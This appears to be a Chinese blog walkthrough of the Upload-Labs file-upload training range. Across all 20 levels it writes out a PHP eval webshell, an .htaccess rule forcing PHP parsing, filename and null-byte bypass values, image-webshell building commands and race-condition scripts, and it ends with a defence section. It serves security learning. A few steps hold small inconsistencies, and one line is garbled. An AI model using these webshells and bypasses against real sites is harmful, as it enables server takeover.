Upload-Labs靶场全20关通关攻略(含原理+实操+环境配置)

发布于:2025-09-04 ⋅ 阅读:(14) ⋅ 点赞:(0)

Upload-Labs靶场全20关通关攻略(含原理+实操+环境配置)

引言

Upload-Labs是Web安全领域经典的文件上传漏洞实战靶场,涵盖了前端验证、MIME校验、黑白名单过滤、00截断、条件竞争、二次渲染等几乎所有文件上传绕过场景。掌握该靶场的通关思路,能快速理解文件上传漏洞的核心原理与防御逻辑,对渗透测试、代码审计等工作极具参考价值。

本文将按照“环境准备→漏洞原理→分步实操→补充知识”的结构,详细拆解每一关的通关技巧,所有操作均经过实测验证,新手也可跟着步骤复现。

必备工具

  • 环境:PHPStudy(建议安装5.2.17+5.3.29版本,适配不同关卡需求)、Apache/Nginx
  • 抓包工具:Burp Suite(BP)
  • 连接工具:AntSword(用于连接WebShell)
  • 编辑工具:010Editor(分析图片Hex、二次渲染对比)
  • 脚本工具:Python(用于条件竞争场景)

或者

在官方在线靶场练习,地址:https://upload-labs.bachang.org/

全关卡通关详解

Pass-01(前端JS验证)

核心原理

仅通过前端JavaScript函数(checkFile())校验文件后缀,未在后端做任何限制,直接修改前端代码即可绕过。

通关步骤
  1. 打开靶场页面,按F12打开浏览器开发者工具,切换到「Elements」或「源代码」标签;
  2. 搜索并找到checkFile()函数(通常在<script>标签内),直接删除该函数,或修改函数返回值为return true(例:function checkFile(){return true;});
  3. 保存修改后,直接上传后缀为.php的一句话木马(如:<?php @eval($_POST['cmd']);?>);
  4. 复制上传成功后的文件地址,用蚁剑添加连接(密码cmd),即可成功连接。
    在这里插入图片描述
    在这里插入图片描述
补充知识
  • 前端验证仅防“小白用户”,对攻击者完全无效,后端必须重复校验

Pass-02(MIME类型验证)

核心原理

后端仅校验HTTP请求头中的Content-Type字段(MIME类型),未校验文件实际内容,修改该字段即可绕过。

通关步骤
  1. 准备.php一句话木马,点击上传,用BP拦截请求包;
  2. 在BP中找到Content-Type字段(通常在文件上传参数附近,如Content-Type: application/x-httpd-php);
  3. Content-Type值修改为合法图片类型,如image/pngimage/jpeg
  4. 点击「Forward」放包,文件上传成功;
  5. 用蚁剑连接上传后的PHP文件,完成通关。
    在这里插入图片描述
补充知识
  • MIME类型:用于标识文件格式的HTTP头字段,常见值:image/png(PNG图片)、image/jpeg(JPG图片)、application/x-httpd-php(PHP文件)。

Pass-03(黑名单验证·特殊后缀绕过)

核心原理

后端用“黑名单”禁止.php后缀,但未禁止.php3.php5.phtml等特殊PHP后缀,需配置Apache支持这些后缀解析。

环境准备(关键)
  1. 打开PHPStudy,找到Apache的配置文件httpd.conf(路径:PHPStudy\Apache\conf\httpd.conf);
  2. 搜索AddType application/x-httpd-php .php .phtml,去掉开头的#注释,并添加.php3.php5,最终改为:
    AddType application/x-httpd-php .php .phtml .php3 .php5
    
  3. 重启PHPStudy的Apache服务,使配置生效。
通关步骤
  1. 将一句话木马的后缀改为.pht(如cmd.php5);
  2. 直接上传文件,因.pht不在黑名单内,上传成功;
  3. 用蚁剑连接cmd.pht,即可执行命令。
    在这里插入图片描述
    在这里插入图片描述
补充知识
  • 备选方案:上传.htaccess文件(需Apache开启AllowOverride All),内容为SetHandler application/x-httpd-php,可让所有文件解析为PHP(如上传cmd.jpg也能被解析)。

Pass-04(黑名单验证·.htaccess绕过)

核心原理

黑名单禁止了.php.php3等后缀,但未禁止.htaccess(Apache的目录配置文件),可通过.htaccess强制解析图片为PHP。

环境准备
  1. 打开httpd.conf,找到AllowOverride None,将None改为All(允许.htaccess生效);
  2. 重启Apache服务。
通关步骤
  1. 新建.htaccess文件,写入以下内容(强制所有文件解析为PHP):
    <FilesMatch ".*">
        SetHandler application/x-httpd-php
    </FilesMatch>
    
  2. 上传.htaccess文件,提示上传成功;
  3. 制作图片马:用copy 1.png/b + cmd.php/a cmd.jpg(Windows命令)将PHP代码嵌入图片,或直接在图片开头添加GIF89a(伪装GIF);
  4. 上传图片马cmd.jpg,复制地址后用蚁剑连接,即可解析为PHP。
    在这里插入图片描述
    在这里插入图片描述

Pass-05(黑名单验证·大小写绕过)

核心原理

后端未将文件名转为小写(未用strtolower()),黑名单仅拦截.php,可通过.Php.PHP等大小写混合后缀绕过。

通关步骤
  1. 将一句话木马命名为cmd.Php(后缀含大写);
  2. 直接上传,因.Php不在黑名单内,上传成功;
  3. Apache默认不区分大小写,cmd.Php会被解析为PHP,用蚁剑连接即可。
    在这里插入图片描述
    在这里插入图片描述

Pass-06(黑名单验证·空格绕过)

核心原理

后端未去除文件名末尾的空格(未用trim()),Windows系统会自动忽略文件名末尾的空格,可通过cmd.php (末尾加空格)绕过。

通关步骤
  1. 上传cmd.php,用BP拦截请求;
  2. 在BP中找到文件名参数(如filename="cmd.php"),改为filename="cmd.php "(末尾加空格);
  3. 放包后,Windows会将文件保存为cmd.php(自动去掉空格),用蚁剑连接即可。
    在这里插入图片描述
    在这里插入图片描述

Pass-07(黑名单验证·点号绕过或者空格绕过)

核心原理

后端未去除文件名末尾的点(未用deldot()),Windows系统会自动忽略文件名末尾的点,可通过cmd.php.(末尾加点)绕过。

通关步骤
  1. 上传cmd.php,用BP拦截请求;
  2. filename="cmd.php"改为filename="cmd.php."(末尾加点);
  3. 放包后,Windows自动去掉末尾的点,文件实际为cmd.php,用蚁剑连接即可。
    在这里插入图片描述
    在这里插入图片描述

Pass-08(黑名单验证·::$DATA绕过)

核心原理

Windows系统特性:文件名后加::$DATA,系统会将::$DATA后的内容视为文件流,忽略后缀校验,且实际保存的文件名不含::$DATA

通关步骤
  1. 上传cmd.php,用BP拦截请求;
  2. filename="cmd.php"改为filename="cmd.php::$DATA"
  3. 放包后,文件实际保存为cmd.php
  4. 蚁剑连接时,URL需去掉::$DATA(如http://xxx/upload/cmd.php),即可成功。
    在这里插入图片描述
    在这里插入图片描述

Pass-9(黑名单验证·点+空格+点绕过)

核心原理

后端仅用deldot()去除末尾的点(从后向前检测,遇空格停止),可构造cmd.php. .(点+空格+点)绕过。

通关步骤
  1. 上传cmd.php,用BP拦截请求;
  2. filename="cmd.php"改为filename="cmd.php. ."(注意中间有空格);
  3. 放包后,deldot()仅去除末尾的点,空格后的点保留,Windows自动忽略空格和末尾的点,最终文件为cmd.php
  4. 用蚁剑连接即可。
    在这里插入图片描述
    在这里插入图片描述

Pass-10(黑名单验证·双写绕过)

核心原理

后端用str_ireplace()将黑名单中的php替换为空(不区分大小写),可通过双写pphphp绕过(替换后变为php)。
在这里插入图片描述

通关步骤
  1. 上传cmd.php,用BP拦截请求;
  2. filename="cmd.php"改为filename="cmd.pphphp"
  3. 后端处理时,str_ireplace("php", "", "pphphp")会将中间的php替换为空,最终变为cmd.php
  4. 上传成功后,用蚁剑连接cmd.php即可。
    在这里插入图片描述

Pass-11(白名单验证·GET 00截断)

核心原理

后端用白名单校验后缀,且文件路径通过GET参数拼接,PHP版本<5.3.4且magic_quotes_gpc关闭时,%00(URL解码为0x00)会截断路径。

环境准备
  1. 切换PHP版本为5.2.17(<5.3.4);
  2. 打开php.ini,设置magic_quotes_gpc = Off,重启服务。
    在这里插入图片描述
通关步骤
  1. 准备cmd.png(伪装图片,实际含PHP木马),上传并拦截请求;
  2. 在BP中找到GET参数(如?save_path=upload/),改为?save_path=upload/cmd.php%00
  3. 确保filename="cmd.png"(符合白名单);
  4. 放包后,路径被%00截断为upload/cmd.php,文件保存为cmd.php
  5. 蚁剑连接时,去掉%00后的内容,即可成功。

在这里插入图片描述

Pass-12(白名单验证·POST 00截断)

核心原理

与Pass-12类似,但路径通过POST参数传递,POST不会自动解码%00,需手动在Hex中修改为0x00。
在这里插入图片描述

通关步骤
  1. 准备cmd.png,上传并拦截请求;
  2. 在BP中找到POST参数(如save_path=upload/),改为save_path=upload/cmd.php++用于定位);
  3. 右键选择「Convert Selection to Hex」,找到+对应的Hex值2B,改为00
  4. 确保filename="cmd.png"(符合白名单);
  5. 放包后,路径被0x00截断为upload/cmd.php,文件保存为cmd.php
  6. 蚁剑连接即可。

Pass-13(内容验证·图片马+文件包含)

核心原理

后端读取文件前2字节判断类型(如JPG的FF D8、PNG的89 50),需制作图片马,再通过文件包含漏洞解析

C:\Users\L\Desktop>copy 1.jpg/b+1.php/a 2.jpg
1.jpg
1.php
已复制         1 个文件。
使用文件包含漏洞:http://192.168.17.167:8080/uploadlabs/include.php/?file=upload/9120250826200717.jpg
通关步骤
  1. 制作图片马:用copy 1.jpg/b + cmd.php/a cmd.jpg(Windows命令),将PHP木马嵌入图片;
  2. 上传cmd.jpg,因前2字节为FF D8,通过内容校验;
  3. 靶场提供文件包含页面(如include.php),构造URL:http://xxx/include.php?file=upload/cmd.jpg
  4. 用蚁剑连接include.php?file=upload/cmd.jpg,即可解析图片马。
    在这里插入图片描述
补充知识
  • 常见图片文件头:
    • JPG:FF D8
    • PNG:89 50 4E 47
    • GIF:47 49 46 38

Pass-14(内容验证·getimagesize()绕过)

核心原理

后端用getimagesize()校验文件是否为图片(读取文件头信息),与Pass-14一致,图片马可绕过。

通关步骤
  1. 复用Pass-13的图片马cmd.jpg
  2. 上传图片马,getimagesize()检测到图片头,通过校验;
  3. 用文件包含include.php?file=upload/cmd.jpg,蚁剑连接即可。

Pass-15(内容验证·exif_imagetype()绕过)

核心原理

后端用exif_imagetype()校验文件类型(读取文件头第一个字节),需开启php_exif扩展,图片马可绕过。

环境准备
  1. 打开php.ini,去掉extension=php_exif.dll前的#,重启服务。
    需要开启php_exif.dll

php_exif.dll 是 PHP 语言中用于处理图像 EXIF 元数据 的扩展模块(Windows 系统下的动态链接库文件)。它允许 PHP 脚本读取和解析嵌入在图像文件(如 JPEG、TIFF 等)中的 EXIF 信息。

php_exif.dll 的作用
php_exif.dll 为 PHP 提供了操作 EXIF 数据的接口,核心功能包括:

  1. 读取 EXIF 数据:从图像文件中提取上述元数据;
  2. 解析复杂结构:处理 EXIF 数据中嵌套的标签(如 GPS 坐标的经纬度格式转换);
  3. 兼容多种格式:支持 JPEG、TIFF、RAW 等常见图像格式的 EXIF 解析。

在这里插入图片描述

通关步骤
  1. 复用图片马cmd.jpg,上传后通过exif_imagetype()校验;
  2. 文件包含include.php?file=upload/cmd.jpg,蚁剑连接即可。
    在这里插入图片描述

Pass-16(内容验证·二次渲染绕过)

核心原理

上传文件后发现生成了一张新图片,打开后发现原来的图片无法显示php代码的解析内容了,考虑观察新旧图片的hex编码差异
后端对上传的图片进行二次渲染(重写文件内容),需找到渲染后不变的Hex区域,嵌入PHP木马。

通关步骤
  1. 上传一张正常GIF图片(GIF渲染后变化较小),下载渲染后的图片;
  2. 用010Editor对比原GIF和渲染后GIF的Hex,找到完全相同的区域;
  3. 在该区域嵌入PHP木马(如<?php @eval($_POST['cmd']);?>);
  4. 上传修改后的GIF图片,后端渲染后木马仍保留;
  5. 文件包含include.php?file=upload/xxx.gif,蚁剑连接即可。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
提示
  • 推荐用小尺寸GIF图片,渲染后不变区域更多,可直接使用网上现成的“免杀GIF图片马”。

Pass-17(逻辑漏洞·条件竞争一)

核心原理

后端逻辑:先保存文件→校验后缀→合法则重命名,不合法则删除。可利用“保存后→删除前”的时间差,访问文件生成永久WebShell。

通关步骤
  1. 准备cmd.php,内容为:
    <?php fputs(fopen('Tony.php','w'),'<?php phpinfo();?>');?>
    
    (访问时生成Tony.php,永久保留);
  2. 上传cmd.php,用BP拦截请求,发送到「Intruder」;
  3. 在Intruder中设置“无限发包”(Payload类型选Null payloads,数量设为10000),开启攻击;
  4. 同时运行Python脚本,不停访问cmd.php
    import requests
    url = "http://xxx/upload/cmd.php"
    while True:
        res = requests.get(url)
        if res.status_code == 200:
            print("生成Tony.php成功!")
            break
    
  5. 脚本输出“成功”后,Tony.php已生成,用蚁剑连接即可。
    在这里插入图片描述
    在这里插入图片描述

Pass-18(逻辑漏洞·条件竞争二)

核心原理

后端逻辑:先校验后缀(仅允许图片)→保存文件→重命名。需用图片马+文件包含,利用“保存后→重命名前”的时间差访问。

通关步骤
  1. 制作图片马cmd.jpg(含Pass-17的生成脚本);
  2. 上传cmd.jpg,用BP拦截并无限发包;
  3. 运行Python脚本,不停文件包含访问:
    import requests
    url = "http://xxx/include.php?file=upload/cmd.jpg"
    while True:
        res = requests.get(url)
        if "Warning" not in res.text:
            print("生成Tony.php成功!")
            break
    
  4. 脚本成功后,连接Tony.php即可。
    在这里插入图片描述
    在这里插入图片描述

Pass-19(逻辑漏洞·move_uploaded_file特性绕过)

核心原理

move_uploaded_file()会忽略文件名末尾的/.,后端仅校验用户输入的后缀,可通过cmd.php/.绕过。或者使用hex编码,将后缀名后一位改为00截断符

通关步骤
  1. 准备cmd.png(伪装图片),上传并拦截请求;
  2. filename="cmd.png"改为filename="cmd.php/."
  3. 后端校验png合法,move_uploaded_file()忽略/.,实际保存为cmd.php
  4. 用蚁剑连接即可。
    在这里插入图片描述
    在这里插入图片描述

Pass-20(逻辑漏洞·数组绕过)

核心原理

后端校验用户输入的文件名(非数组时切割后缀),可构造数组绕过切割逻辑,使最终文件名含.php

源码逻辑:

    检查MIME (通过抓包改Content-Type 绕过)
    判断 POST参数 save_name 是否为空,
    判断$file 是否为数组,不是数组以 .分割化为数组
    取 $file 最后一个元素,作为文件后缀进行检查
    取 f i l e 第 一 位 和 第 ‘ file 第一位和第` file第一位和第‘file[count($file) - 1]`作为文件名和后缀名保存文件

修改content-type 修改POST参数为数组类型,
索引[0]为2.php,
索引[2]为jpg|png|gif。 
只要第二个索引不为1,
$file[count($file) - 1]就等价于$file[2-1],值为空绕过
通关步骤
  1. 准备cmd.php,上传并拦截请求;
  2. 修改Content-Typeimage/png(符合MIME校验);
  3. 找到filename参数,将其改为数组格式:
    • 原参数:filename=cmd.php
    • 改后:filename[0]=cmd.php&filename[2]=png(索引1留空,切割时后缀为空,绕过白名单);
  4. 放包后,文件保存为cmd.php,用蚁剑连接即可。
    在这里插入图片描述

文件上传漏洞成因总结

  1. 校验位置错误:仅前端校验,后端无校验;
  2. 校验逻辑缺陷:依赖MIME、文件名等易篡改的字段,未校验文件内容;
  3. 配置不当:Apache/Nginx解析规则宽松(如.php5解析)、.htaccess/.user.ini可上传;
  4. 逻辑漏洞:条件竞争、路径截断、数组绕过等;
  5. 第三方漏洞:图片处理库二次渲染不彻底、文件包含漏洞辅助解析。

防御措施

  1. 禁用执行权限:上传目录(如upload/)设置为“仅读”,禁止PHP执行(Apache用php_flag engine off);
  2. 强校验文件内容:结合文件头(如FF D8)、文件内容(如getimagesize())、后缀白名单校验;
  3. 重命名文件:用随机字符串(如md5(时间+文件名).后缀)命名,避免猜测路径;
  4. 限制上传目录:将上传文件存放在Web根目录外,通过脚本读取文件(而非直接访问);
  5. 配置加固:禁用.htaccess/.user.ini,关闭magic_quotes_gpc(PHP7已移除),升级PHP版本(≥5.3.4);
  6. 过滤特殊字符:去除文件名中的空格、点、::$DATA等特殊字符,统一转为小写。

结尾

文件上传漏洞的核心是“信任用户输入”,防御的关键是“不信任任何用户输入”。建议结合本文步骤,边实操边理解原理,同时尝试举一反三(如Nginx解析漏洞、IIS解析漏洞),逐步掌握Web安全的核心思维。

如果在实操中遇到环境问题,可留言讨论,也可参考PHPStudy、Burp Suite的官方文档排查配置~